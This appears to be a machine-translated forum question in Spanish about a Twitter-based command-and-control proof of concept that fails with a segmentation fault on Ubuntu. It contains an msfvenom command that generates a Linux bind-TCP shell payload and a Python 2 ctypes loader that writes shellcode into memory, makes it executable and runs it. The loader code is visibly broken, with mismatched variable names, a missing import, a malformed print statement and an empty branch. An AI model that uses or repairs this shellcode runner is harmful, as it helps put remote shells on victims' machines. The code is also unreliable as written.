Background:
Escribiendo una prueba de concepto de un Twitter C & C inspirado por el profesor Viviek de SPSE similar a twittor y el proyecto incluye una funcionalidad de inyectar shellcode y ejecutarlo dentro del programa del pitón. Sin embargo, quería hacer que la funcionalidad sea multiplataforma, pero solo funcionaba en un sistema Windows.
Problema : cuando se ejecuta la secuencia de comandos de python en el servidor de Ubuntu 12.04.5 LTS, el resultado dice
Segmentation fault (core dumped)
Lo que significa que se me niega el acceso a la memoria para la que no tengo permiso. Esto es extraño b / c en el código fuente que también configuro cytpes.mprotect (asignar_space, space_size, 7) < == 4 + 2 + 1 es para permisos wrx
Shellcode generado mediante el comando:
msfvenom --payload linux/x86/shell/bind_tcp --format py --arch x86 --bad-char "\x00\x20\x0d"
Script de Python :
#!/usr/bin/env python
import ctypes
import os
# please comment out the appropriate payload for the other platforms
# this below is for windows shell bind tcp listening at 4444
#buf = ""
#buf += "shellcode..."
# below is for linux
buf = ""
buf += "shellcode..."
def main(shellcode):
if os.name == 'posix':
try:
libc = ctypes.CDLL('libc.so.6')
sc_ptr = ctypes.c_char_p(shellcode)
size = len(shellcode)
addr_freespace = ctypes.c_void_p(libc.valloc(size))
ctypes.memmove(addr_freespace, sc_ptr, size)
libc.mprotect(addr_free_space, size, 1 | 2 | 4) # changed to 7 for all three access
run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
run()
sys.exit()
except Exception as e:
print "Error: " e
else:
try: # windows implementation
if __name__ == '__main__':
main(buf)
Pregunta: ¿Puede alguien explicar por qué aparece el mensaje de error de segmentación y cómo solucionamos ese problema?
Créditos : este script está inspirado en sickle.py @ Line743-753
La única diferencia es que el script de referencia utiliza python 3, mientras que yo uso python 2.7.
ACTUALIZACIÓN :
Después de muchas pruebas y errores, incluida la ejecución del programa en pdb. El error de falla de segmentación ocurrió después de la línea de:
run()
¿Puede alguien explicar por qué sucede esto?